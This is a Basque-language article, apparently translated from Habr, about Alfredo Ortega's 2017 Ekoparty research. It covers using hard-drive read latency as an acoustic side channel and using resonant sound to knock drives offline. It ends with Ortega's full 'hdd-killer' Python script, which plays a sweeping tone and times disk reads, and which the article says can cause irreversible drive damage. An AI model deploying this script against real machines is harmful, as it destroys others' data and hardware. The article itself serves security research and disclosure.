
Buenos Airesen Ekoparty 2017ko segurtasun informatikoko konferentzian, Alfredo Ortega hacker argentinarrak garapen oso interesgarria erakutsi zuen: mikrofonorik erabili gabe lokalak ezkutuan entzun ahal izateko sistema bat. Soinua !
HDDak batez ere intentsitate handiko maiztasun baxuko soinuak, urratsak eta bestelako bibrazioak jasotzen ditu. Giza hizkera ezin da oraindik aitortu, nahiz eta zientzialariek (ahots-ezagutzea maiztasun baxuko bibrazioen bidez, adibidez, giroskopio edo HDD batetik grabatzen direnak).
Soinua airearen edo beste medio baten bibrazioa da. Pertsona batek tinpanoaren bidez hautematen ditu, barruko belarrira bibrazioak transmititzen dituena. Mikrofonoa belarri baten antzera diseinatuta dago; hemen ere bibrazioak mintz mehe batek grabatzen ditu, eta horrek bulkada elektriko bat kitzikatzen du. Disko gogorrak, noski, bibrazio mikroskopikoak ere jasaten ditu inguruko airearen gorabeheren ondorioz. Hori HDDen ezaugarri teknikoetatik ere ezagutzen da: fabrikatzaileek normalean onartzen den bibrazio-maila maximoa adierazten dute, eta disko gogorra bera sarritan saiatzen da kautxuz edo beste material isolatzailez egindako bibrazioen aurkako edukiontzi batean jartzen. Hortik erraz ondorioztatzen da soinuak HDD erabiliz graba daitezkeela. Falta dena da nola asmatzea.
Alfredo Ortegak alboko kanaleko eraso baten bertsio berezia proposatu zuen, hots, denboraren erasoa. Eraso hau gailuan une desberdinetan eragiketa desberdinak egiten direla suposatzen du, emandako sarrerako datuen arabera. Kasu honetan, "sarrerako datuak" irakurketa-buruaren eta HDD plakaren bibrazioak dira, ingurunearen bibrazioekin, hots, soinuarekin erlazionatzen direnak. Horrela, konputazio-denbora neurtuz eta datuen analisi estatistikoa eginez, buru/plateraren bibrazioak eta, hortaz, medioaren bibrazioak neur daitezke. Datuak irakurtzeko atzerapena zenbat eta luzeagoa izan, orduan eta indartsuagoak izango dira HDDaren bibrazioak eta, beraz, orduan eta ozenagoa izango da soinua.
Nola neurtu disko gogorreko bibrazioa? Oso erraza: exekutatu sistema-deia read () — eta erregistratu amaitzeko behar den denbora. Sistema eragile modernoek sistema-deien denbora nanosegundoko zehaztasunarekin irakurtzeko aukera ematen dute.
Sektore bateko informazioa irakurtzeko abiadura buruaren eta plateraren posizioaren araberakoa da, HDD kasuaren bibrazioekin erlazionatzen dena. Hori da dena.
Analisi estatistikoa Kscope utilitate sinple bat erabiliz egiten da. Esaten den bezala, burutsu dena sinplea da.

Kscope utilitatea (stat() syscall)
Kscope sistema-deien exekuzio-denboretan desberdintasun txikiak ikusteko erabilgarritasun txiki bat da. Iturria.
Aparteko biltegi batean Disko gogorrean denbora-eraso baterako konfiguratutako utilitatearen bertsio bat dago, hau da, sistema-deia aztertzeko konfiguratua. read ().
HDD erabiliz soinu grabaketaren erakustaldia, Kscope utilitatearen funtzionamendua

Noski, hizkera ezin da horrela ulertu, baina HDD nahiko egokia da bibrazio sentsore gisa. Adibidez, oinetako gogorrak edo oinutsik daramatzan pertsona bat ordenagailu batekin gela batera sartzen bada erregistra dezakezu (seguruenik, erasotzaileak zapatila bigunak jantzita baditu edo lurrean alfonbra lodi bat badago, HDDak ezin izango ditu bibrazioak erregistratu - hau egiaztatzea merezi du). Ordenagailua gai da hautsitako kristalak edo bestelako gorabeherak soinu-intentsitate handiarekin erregistratzeko. Hau da, disko gogorrak baimenik gabeko intrusioak detektatzeko sistema gisa balio dezake.
HDD hiltzailea
Bide batez, antzeko teknika bat erabil daiteke disko gogorrak desgaitzeko. Hala ere, hemen ez ditugu HDD-ko bibrazioak jasotzen, baizik eta HDD-ra bidaltzen diren bibrazioak sortzen. HDD-aren maiztasunarekin bat datorren maiztasunean bozgorailu batetik audioa erreproduzitzen baduzu, sistemak laster itzaliko du gailua S/I errore batekin (kernea). Linux (Honek HDD-a erabat itzaltzen du 120 segundo igaro ondoren.) Disko gogorra bera kaltetuta egon daiteke modu konponezinarekin.

Core Linux Disko gogorra itzali egin zen Edifier r19u USB bozgorailuaren bidez erresonantzia-maiztasunean soinua 120 segundoz erreproduzitu ondoren. Bozgorailua bere potentziaren laurden batean piztu zen gutxi gorabehera (100 mW baino gutxiago) eta HDDtik 20 cm-ra kokatu zen, mahaira begira bibrazioak anplifikatzeko. Argazkia: HDD hiltzailearen erakustaldiarekin
Bitxia da, batzuetan, HDD-en halako "erasoak" guztiz ustekabean gertatzen direla eguneroko bizitzan. Esaterako, 2016ko irailean, ING Bankuaren datu-zentroak 10 orduz eragiketak etetera behartu zituen sute baten ondoren. presio handian zilindroetatik askatzen den gas geldoaren soinu ozenaren ondorioz. Soinua oso ozena zen (130 dB baino gehiago), baina ezin diezu disko gogorrei oihu egin ere; honek HDDra sartzeko atzerapena areagotzen du.
Datu-zentro bateko disko gogorretan gizakien garrasiaren erakustaldia. Latentziaren neurketa

Soinu oihartzuna sortzeko, Alfredo Ortegak Python izeneko gidoia idatzi zuen ().
Nahiko txikia da, beraz, hemen argitaratu dezakezu osorik.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Iturria: www.habr.com
